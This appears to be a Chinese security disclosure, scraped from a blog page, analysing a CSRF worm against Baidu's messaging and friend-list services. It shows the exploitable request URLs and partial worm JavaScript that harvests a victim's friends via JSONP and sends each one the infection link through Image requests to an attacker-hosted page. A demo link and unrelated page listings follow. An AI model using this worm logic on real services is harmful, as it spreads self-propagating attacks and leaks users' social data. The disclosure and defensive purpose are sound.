漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。 80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞黑客可以制作Web 蠕虫,影响百度所有的用户。

CSRF worm技术分析:

一. 百度用户中心短消息功能存在CSRF漏洞

百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度ID用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任
何限制,同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消
息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今尚未修补。

二. 百度空间好友json数据泄露问题

百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下

http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends

该漏洞可以直接被Javascript劫持技术利用,获取用户的好友信息.

三. 百度认证问题

web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。

四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm

CSRF攻击结合Javascript劫持技术完全可以实现CSRF
worm,百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本
实现的CSRF蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很
大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:

1. 模拟服务端取得request的参数

var lsURL=window.location.href;
loU = lsURL.split(“?”);
if (loU.length>1)
{
var loallPm = loU[1].split(“&”);

省略…………….

定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。

2. 好友json数据的动态获取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(‘<script
src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);

通过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。

3. 感染信息输出和消息发送的核心部分

evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(‘x’+i+’=new Image();x’+i+’.src=unescape(“‘+mysendmsg+’”);’);
省略…………….

整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个FOR循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。

4. 注意细节

由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。

5. CSRF Worm DEMO页

这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试,非安全测试的其他行为,80SEC将不负任何责任。测试方法:

将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面

http://www.80sec.com/wish.php?to=自己的百度用户名

五 CSRF worm安全提醒:

除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,黑客可以直接通过CSRF攻击配合各种功能应用
针对网站进行CSRF
worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。

百度Hi之CSRF蠕虫攻击的更多相关文章

  1. MVC中使用[ValidateAntiForgeryToken]防止CSRF 注入攻击

    CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.通俗的理 ...

  2. CSRF的攻击与防御(转)

    add by zhj:CSRF之所有发生,是因为http请求中会自动带上cookies,我的解决办法是:前端不要将数据放在cookie中,而是放在其它本地存储 (HTML5中称之为Web Storag ...

  3. 如何防止ASP.NET网站遭受CSRF的攻击

    转载地址: http://www.cnblogs.com/shanyou/p/5038794.html?hmsr=toutiao.io&utm_medium=toutiao.io&ut ...

  4. .NET Core实战项目之CMS 第十四章 开发篇-防止跨站请求伪造(XSRF/CSRF)攻击处理

    通过 ASP.NET Core,开发者可轻松配置和管理其应用的安全性. ASP.NET Core 中包含管理身份验证.授权.数据保护.SSL 强制.应用机密.请求防伪保护及 CORS 管理等等安全方面 ...

  5. 分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

    最近jsonp很火,实话说已经是被玩烂了的,只是一直没有受到大家的重视.正好在上个月,我挖过一个由于jsonp造成的新浪某社区CSRF,当时是为了准备一篇文章,之后这篇文章也会拿出来分享. 因为新浪已 ...

  6. Meta referrer标签的,可以防止CSRF的攻击

    Meta referrer标签的简要介绍 在某些情况下,出于一些原因,网站想要控制页面发送给 server 的 referer 信息的情况下,可以使用这一 referer metadata 参数. 参 ...

  7. ASP.NET MVC 防止跨站请求伪造(CSRF)攻击的方法

    在HTTP POST请求中,我们多次在View和Controller中看下如下代码: View中调用了Html.AntiForgeryToken(). Controller中的方法添加了[Valida ...

  8. 防止CSRF的攻击—Origin和Referer

    防止CSRF的攻击—Origin和Referer 为了防止CSRF的攻击,我们建议修改浏览器在发送POST请求的时候加上一个Origin字段,这个Origin字段主要是用来标识出最初请求是从哪里发起的 ...

  9. CSRF之攻击与防御

    0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...

随机推荐

  1. js实现选项卡功能

    1.css .liclick{ border: 1px black solid; background: #fff; float: left; width: 80px; height: 35px; l ...

  2. 十天学会单片机Day3 D/A与A/D转换器

    D/A转换器 1.二进制权电阻网络型D/A转换器 基准电压Vref 数据D(d3d2d1d0) 输出模拟电压V0 i0 = Vref/8R    i1 = Vref/4R     i2 = Vref/ ...

  3. 将python2.7+django1.10部署到SAE上

    首先我想说的是我为什么选择SAE呢?本人学生一枚,没钱.然后sae好像又有免费的一定限额,所以我就选了它. 期间曲折颇多,实在不是三言两语所能道情的.各种百度,谷歌,最后所幸成功了,幸哉! 主要参考了 ...

  4. 《高性能javascript》读书笔记

    1.每个<script>加载时都会阻塞其他文件(图片.音乐等)的同时加载,同时浏览器会在js代码执行时停止渲染Dom.所以为了减少界面加载的卡顿和空白发生,应尽力将js代码或者文件放在&l ...

  5. Sql Server数据的加密与解密

    Sql Server数据的加密与解密 在sql server中,我们如何为数据进行加密与解密,避免使用者窃取机密数据? 对于一些敏感数据,如密码.卡号,一般不能使用正常数值来存储.否则会有安全隐患.以 ...

  6. windows 服务 安装 删除 启动 停止

    一.停止 sc stop 服务名 二.删除 sc delete 服务名 注意:有时删除不了,报什么“服务为删除标识” ,请将服务窗口关掉就好了. 三.创建 sc create XmlcSendServ ...

  7. hdu 1316 How Many Fibs?

    题目连接 http://acm.hdu.edu.cn/showproblem.php?pid=1316 How Many Fibs? Description Recall the definition ...

  8. 4.Knockout.Js(事件绑定)

    前言 click绑定在DOM元素上添加事件句柄以便元素被点击的时候执行定义的JavaScript 函数.大部分是用在button,input和连接a上,但是可以在任意元素上使用. 简单示例 <h ...

  9. MVC4.0 如何设置默认静态首页index.shtml

    1.不启用二级域名情况下(www.xxx.com)下设置默认静态首页index.shtml 通过配置IIS的默认文档,设置默认首页地址 然后在MVC的路由中写入忽略默认路由代码 routes.Igno ...

  10. R 语言中文乱码问题

    R 语言似乎在WINDOWS平台上对中文的支持不是特别好,似乎是3.1.2的一个BUG. 目前我研究出了一个临时解决方案,你可以将代码编写成一个函数,从而在调用的过程中不必如下繁琐: 1. 先将本地语 ...